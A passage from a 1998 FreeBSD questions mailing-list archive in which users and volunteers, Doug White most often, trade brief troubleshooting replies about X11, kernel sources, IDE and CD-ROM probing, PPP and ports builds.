ESMTP id XAA05972 for ; Fri, 10 Apr 1998 23:10:03 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28585; Fri, 10 Apr 1998 23:09:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:09:51 -0700 (PDT) From: Doug White Reply-To: Doug White To: BEAUPRE Antoine cc: freebsd-questions Subject: Re: Problems with xvidtune In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, BEAUPRE Antoine wrote: > Hi! > > I got one little-big problem... When I "startx", I got a "curved" screen, > i.e. a deformed screen which is even not centered in my physical screen... > > I tried to narrow it, move it enlarge it, spice it, burn it, nothing could > do it... > > I got a Azura 15" monitor that is: 30-66 KHz (horizontal) and 50-100 Hz at > 1280x1024 Max. Does tuning the display's controls help? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:10:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA06346 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:10:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA06220 for ; Fri, 10 Apr 1998 23:10:31 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28592; Fri, 10 Apr 1998 23:10:22 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:10:22 -0700 (PDT) From: Doug White Reply-To: Doug White To: Doug Lo cc: freebsd-questions@FreeBSD.ORG Subject: Re: X window problem. In-Reply-To: <352D02BC.CCEBBABA@ms11.hinet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Doug Lo wrote: > Hi, FreeBSD gurus, > > When I run 'startx', it got an error message: > Can't open /usr/libexec/ld.so. > > Would anyone tell me how to solve this problem, thanks in advance. Obvious question: does /usr/libexec/ld.so exist? It should, or else most of your binaries aren't going to work. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:11:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA06878 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:11:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA06760; Fri, 10 Apr 1998 23:11:13 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id BAA29630; Sat, 11 Apr 1998 01:11:10 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id BAA05979; Sat, 11 Apr 1998 01:11:08 -0500 (CDT) To: "Jason C. Wells" Cc: questions@FreeBSD.ORG, kde-user@fiwi02.wiwi.uni-tuebingen.de, se@FreeBSD.ORG Subject: Re: kde on 2.2.5 CDROM? References: From: stephen farrell Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 11 Apr 1998 01:11:08 -0500 In-Reply-To: "Jason C. Wells"'s message of "Fri, 10 Apr 1998 21:55:38 -0700 (PDT)" Message-ID: <87yaxcj3b7.fsf@phaedrus.uchicago.edu> Lines: 38 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jason C. Wells" writes: > On 11 Apr 1998, stephen farrell wrote: > > > "Jason C. Wells" writes: > > > > > I personnaly like the latest and greatest kde. I would install it this > > > way. > > > > > > Hmm... whenever I try to build this, kfm doesn't work. I get > > > > A new kioslave has been started > > QSocketNotifier: Invalid socket specified > > QSocketNotifier: Internal error > > > > whenever trying to open a directory. I got this when the beta3 port > > first came out. yesterday i blew it away and reinstalled, and i still > > get the same thing (yes i've confirmed that the binaries have been > > updated). > > I dunno. Hmm.. Ok... I see what the problem is: it has something to do with nfs. my home directory is mounted over nfs from a sparc/solaris box. when it creates ~/.kde/share/apps/kfm/kfm_0.0 over nfs, it's a FIFO, but if I make the kfm directory a link to a local filesyste, it (correctly) makes a socket... and everything works ok. Anyone know more about why this might be/other work-arounds besides making the tmp a link?. uname -s -r => FreeBSD 2.2.6-STABLE -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:13:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA07562 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:13:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA07533 for ; Fri, 10 Apr 1998 23:13:35 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28596; Fri, 10 Apr 1998 23:13:22 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:13:22 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dustin Andrews cc: freebsd-questions@FreeBSD.ORG Subject: Re: adding source to my server. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Dustin Andrews wrote: > After a minor disaster with a SCSI drive biting the dust and a incomplete > restore from tape I find a have a small problem. > > I went to re-compile my kernel (with some new options) and I am missing > the *.c files from the nfs directory. Is there a simple way just to get > the source I am missing? Getting bits and pieces is a bit difficult if the number of files is large, say more than 5 or so. In this case it'd be easier to just remove /usr/src/sys and reinstall the src/ssys distribution from CD or FTP. Simply run `cd /usr/src; cat /path/to/ssys.* | tar xzf -' to extract. You didn't mention what version of FreeBSD you were running. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:16:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA08241 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:16:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA08234 for ; Fri, 10 Apr 1998 23:16:18 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28603; Fri, 10 Apr 1998 23:16:16 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:16:16 -0700 (PDT) From: Doug White Reply-To: Doug White To: Doug Junkins cc: freebsd-questions@FreeBSD.ORG Subject: Re: 2.2.6 install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Doug Junkins wrote: > > Okay, I see. Try booting and put -v on the Boot: prompt, then when the > > Probing Devices .. message comes up hit ALT-F2. There's a bug I'm hunting > > that makes the wd slice probe loop a ton of times, it may be biting you > > in a different way. > > > > Thanks. That pinpointed the problem. The verbose output showed the > polling of my to ide drives then it failed with the message: > > wfd0: Sense the media type is failed Funny, that's the IDE Removables driver (ZIP, LS-120). Shouldn't impact the ATAPI CDROM driver (wcd). > I guessed that this had something to do with my ATAPI CDROM so I checked > to see if there was a disc in there. When I checked, I found that my > CDROM was dead. I disconnected the failed CDROM and was successful at > begining the install. It's installing right now so we'll see how it works > when it's complete. Okay. I've known some CDs to put up fits; usually it's internal ZIPs. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:17:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA08664 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:17:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA08654 for ; Fri, 10 Apr 1998 23:17:38 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id XAA04228; Fri, 10 Apr 1998 23:17:09 -0700 (PDT) (envelope-from tomdean) Date: Fri, 10 Apr 1998 23:17:09 -0700 (PDT) Message-Id: <199804110617.XAA04228@ix.netcom.com> From: Thomas Dean To: questions@FreeBSD.ORG Subject: Emacs E-Mail Slow Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have been using Emacs 19.34.1 for E-Mail. After processing about a hundred messages and being on line for an hour, or so, things get very slow. Getting mail from /var/mqueue/* takes a long time. It takes 20 to 30 seconds to sort a hundred headers. If I save RMAIL, delete the buffer, and, read mail, things return to normal. dmesg: ================================ FreeBSD 3.0-CURRENT #5: Thu Apr 9 08:42:07 PDT 1998 root@celebris:/usr/src/sys/compile/CELEBRIS-SMP Timecounter "i8254" frequency 1193182 Hz cost 2524 ns CPU: Pentium (586-class CPU) Origin = "GenuineIntel" Id = 0x525 Stepping=5 Features=0x3bf real memory = 33554432 (32768K bytes) avail memory = 30367744 (29656K bytes) FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 0, version: 0x00030010, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00030010, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x000f0011, at 0xfec00000 Probing for devices on PCI bus 0: chip0: rev 0x11 on pci0.0.0 ncr0: rev 0x02 int a irq 11 on pci0.1.0 ncr0: waiting for scsi devices to settle scbus0 at ncr0 bus 0 sd0 at scbus0 target 0 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access sd0: 10.0 MB/s (100 ns, offset 8) 1042MB (2134305 512 byte sectors) sd1 at scbus0 target 1 lun 0 sd1: type 0 fixed SCSI 2 sd1: Direct-Access sd1: 10.0 MB/s (100 ns, offset 8) 3090MB (6328861 512 byte sectors) sd2 at scbus0 target 2 lun 0 sd2: type 0 fixed SCSI 2 sd2: Direct-Access sd2: 10.0 MB/s (100 ns, offset 8) 1029MB (2109376 512 byte sectors) cd0 at scbus0 target 5 lun 0 cd0: type 5 removable SCSI 2 cd0: CD-ROM cd0: asynchronous. can't get the size chip1: rev 0x88 on pci0.2.0 vga0: rev 0x01 int a irq 9 on pci0.6.0 de0: rev 0x11 int a irq 10 on pci0.8.0 de0: DEC DE450-CA 21041 [10Mb/s] pass 1.1 de0: address 00:00:f8:02:76:db Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface psm0 at 0x60-0x64 irq 12 on motherboard psm0: model Generic PS/2 mouse, device ID 0 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in fd0: 1.44MB 3.5in npx0 on motherboard npx0: INT 16 interface Intel Pentium F00F detected, installing workaround APIC_IO: Testing 8254 interrupt delivery APIC_IO: routing 8254 via pin 2 SMP: AP CPU #1 Launched! ================================ The map does not look too strange. 44 entries. It gets to this many entries shortly after startup. ================================ 0x1000 0xc4000 135 195 r-x COW vnode 0xc4000 0x1fa000 208 0 rwx COW vnode 0x1fa000 0x281000 115 0 rwx COW swap 0x281000 0x2a2000 33 0 rwx COW swap 0x2a2000 0x2c9000 39 0 rwx COW swap 0x2c9000 0x355000 132 0 rwx COW swap 0x355000 0x381000 43 0 rwx COW swap 0x381000 0x3a8000 17 0 rwx COW swap 0x3a8000 0x3d3000 37 0 rwx COW swap 0x3d3000 0x401000 45 0 rwx COW swap 0x401000 0x44a000 71 0 rwx COW swap 0x44a000 0x48e000 64 0 rwx COW swap 0x48e000 0x49a000 3 0 rwx COW swap 0x49a000 0x4ba000 14 0 rwx COW default 0x200c4000 0x200d5000 1 0 r-x COW vnode 0x200d5000 0x200d7000 0 0 rwx COW vnode 0x200d9000 0x20107000 4 0 r-x COW vnode 0x20107000 0x2010c000 2 0 rwx COW vnode 0x2010c000 0x2011a000 0 0 r-x COW vnode 0x2011a000 0x2011b000 0 0 rwx COW vnode 0x2011b000 0x20153000 26 0 r-x COW vnode 0x20153000 0x20157000 4 0 rwx COW vnode 0x20157000 0x201e3000 38 0 r-x COW vnode 0x201e3000 0x201e8000 5 0 rwx COW vnode 0x201e8000 0x201ef000 0 0 r-x COW vnode 0x201ef000 0x201f0000 0 0 rwx COW vnode 0x201f0000 0x20200000 0 0 r-x COW vnode 0x20200000 0x20201000 0 0 rwx COW vnode 0x20201000 0x20209000 0 0 r-x COW vnode 0x20209000 0x2020a000 0 0 rwx COW vnode 0x2020a000 0x20210000 1 0 r-x COW vnode 0x20210000 0x20211000 0 0 rwx COW vnode 0x20211000 0x20214000 0 0 r-x COW vnode 0x20214000 0x20215000 0 0 rwx COW vnode 0x20215000 0x2022d000 0 0 r-x COW vnode 0x2022d000 0x2022f000 0 0 rwx COW vnode 0x2022f000 0x20230000 0 0 rwx COW vnode 0x20230000 0x2029f000 35 0 r-x COW vnode 0x2029f000 0x202a3000 4 0 rwx COW vnode 0x202a3000 0x202af000 1 0 rwx COW swap 0x202af000 0x202b1000 1 0 rwx COW swap 0xefbbe000 0xefbde000 4 0 rwx COW swap 0xefbde000 0xefbfc000 7 0 rwx COW swap 0xefbfc000 0xefbfe000 2 0 rwx COW swap To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:18:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA09101 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:18:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA09090 for ; Fri, 10 Apr 1998 23:18:39 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28607; Fri, 10 Apr 1998 23:18:37 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:18:37 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Brian D. McGrew" cc: freebsd-questions@FreeBSD.ORG Subject: Re: Question In-Reply-To: <000701bd6400$b5c4c0b0$0464a8c0@meister.escnd1.sdca.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Brian D. McGrew wrote: > I just install FreeBSD v2.2.6-RELEASE on a new system. When I boot up, > I'm getting a "PANIC! Cannot mount root". > > What does this mean, and how do we correct it? This means that the kernel couldn't determine where it was booted from, or where it thinks it was booted from doesn't correspond to reality after probing your disks. What is your IDE disk layout? If you have a CDROM on the primary controller try moving it to the secondary and move a hard disk on the secondary controller to the primary. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:18:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA09221 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:18:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA09140 for ; Fri, 10 Apr 1998 23:18:48 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id XAA04231; Fri, 10 Apr 1998 23:18:15 -0700 (PDT) (envelope-from tomdean) Date: Fri, 10 Apr 1998 23:18:15 -0700 (PDT) Message-Id: <199804110618.XAA04231@ix.netcom.com> From: Thomas Dean To: crism@crism.ne.mediaone.net CC: freebsd-questions@FreeBSD.ORG In-reply-to: <199804110547.BAA05867@crism.ne.mediaone.net> Subject: Re: O'Reilly Books Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sorry about my mis-queue. The exchange WAS NOT WITH O'REILLY. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:21:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA10024 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:21:03 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA10013 for ; Fri, 10 Apr 1998 23:20:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28615; Fri, 10 Apr 1998 23:20:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:20:48 -0700 (PDT) From: Doug White Reply-To: Doug White To: Gary Algier cc: freebsd-questions@FreeBSD.ORG Subject: Re: Tools to make CDROMs? In-Reply-To: <352D4A6A.300D5F5A@dgms.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Gary Algier wrote: > I have searched the archives, but I can't seem to find much information > about making CDROMs on FreeBSD. The only things I can find are a few > references to release 2.1.5 and 2.2 and 3 CD-R drives supported at > that time. Things may have changed since then. Also, I heard that > there are tools available originaly for Linux that have been ported > to FreeBSD, but a search of neither the FreeBSD archives nor the Linux > archives turned up anything here. So, a few questions: > > What tools are used? The hot tool is called `cdrecord' which talks to SCSI devices directly. This allows for support of many more devices. It's in the ports tree, check it out ofr the complete list. > What FSs are supported (Rockridge,Joliet,HFS)? You have to run `mkisofs' and that only supports ISO9660 w/ RockRidge extensions. I seem to remember Joilet making it in there, but certainly not Macintosh filesystems. > What hardware should I have to support this (CPU speed, etc.)? Only SCSI writers are supported for now. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:21:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA10406 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:21:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA10398 for ; Fri, 10 Apr 1998 23:21:45 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28619; Fri, 10 Apr 1998 23:21:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:21:40 -0700 (PDT) From: Doug White Reply-To: Doug White To: anthony@sohopros.com cc: freebsd-questions@FreeBSD.ORG Subject: Re: Error message... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998 anthony@sohopros.com wrote: > Can some one help me figure out what went wrong? > > > Script started on Wed Apr 8 20:35:44 1998 > # make instta_ __ _all_ > >> Checksum OK for xspread2.1.tar.gz._ > ===> Building for xspread-2.1_ > env: gmake: No such file or directory_ ^^^^^ This port requires the gmake port. Install gmake. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:24:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA11047 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:24:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA10927; Fri, 10 Apr 1998 23:24:00 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id HAA00678; Sat, 11 Apr 1998 07:10:31 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804110610.HAA00678@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Lanny Baron cc: "S. Paul" , questions@FreeBSD.ORG, jkh@FreeBSD.ORG, chat@FreeBSD.ORG Subject: Re: install with boot.flp won't make good PPP connection... In-reply-to: Your message of "Fri, 10 Apr 1998 21:33:30 -0000." <352E902A.465C9611@tht.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 07:10:31 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > S. Paul wrote: > > > Im having the same problem. Have you received any helpful information > > yet? > > PPP work's in the older release of FreeBSD I'm running, yet with 2.2.6 > > RELEASE I can dial in log on yet ppp will not change to PPP. > > If you come up with a work around please forward to me, I'll reciprocate > > Hello, > > Thank goodness I am not alone in this. I was told by alot of ppl on > #freebsd on efnet that I don't know how to use ppp. Well I say that there > is a problem with the /stand/sysinstall that comes with the boot.bin from > FreeBSD. [.....] After dialing, connecting, logging in, negotiating LCP, authenticating and negotiating IPCP, the prompt becomes PPP. Nobody's going to be able to figure out which of these stages has failed. Try ``set log local phase chat lcp ipcp ccp command'' before dialing. It may be interresting. > Take care, > > Lanny > > P.S. try going to efnet on irc and to #freebsd .... maybe you will have > better luck than I did. If you do I am BeeF_ -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:26:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA11888 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:26:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA11872 for ; Fri, 10 Apr 1998 23:26:15 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28626; Fri, 10 Apr 1998 23:24:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:24:51 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Ross Potts, CON, EDS/D-SIDDOMS" cc: FreeBSD-questions@FreeBSD.ORG Subject: Re: Installation from CD In-Reply-To: <9804091940.ZM-98171@161.14.168.22> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Ross Potts, CON, EDS/D-SIDDOMS wrote: > I'm trying to install to a P133-32MB with a 1.2G HDD(IDE). okay. > I've had to restart 4 times so far! AT different times during an > install I will get the following message: "panic: bremfree: removing > buffer when not on a queue. Syncing disks 260 260 260 giving up". > At which point it reboots. I've never seen that panic before. :( I'll forward this up to -hackers, perhaps someone will recognize it. In the meantime I'd have your memory and/or processor cache checked. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:30:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA12585 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:30:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA12577 for ; Fri, 10 Apr 1998 23:30:10 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28657; Fri, 10 Apr 1998 23:30:06 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:30:06 -0700 (PDT) From: Doug White Reply-To: Doug White To: Tim Moony cc: FreeBSD Questions Forum Subject: Re: Is NE3200 now supported? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Tim Moony wrote: > Last time I checked, there were questions asking "is n3200 supported" in > the mailing list, but no answers. > > Is the card supported now? I can't find any references to it, no. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:31:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA13021 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:31:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA12996 for ; Fri, 10 Apr 1998 23:31:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28661; Fri, 10 Apr 1998 23:31:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:31:48 -0700 (PDT) From: Doug White Reply-To: Doug White To: Glenn Johnson cc: freebsd-questions@FreeBSD.ORG Subject: Re: specifying compiler for "make world" In-Reply-To: <199804100512.AAA07340@gforce.bellsouth.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Glenn Johnson wrote: > Now I realize that doing a "make world" with egcs or gcc-2.8 is probably > asking for trouble, but how would 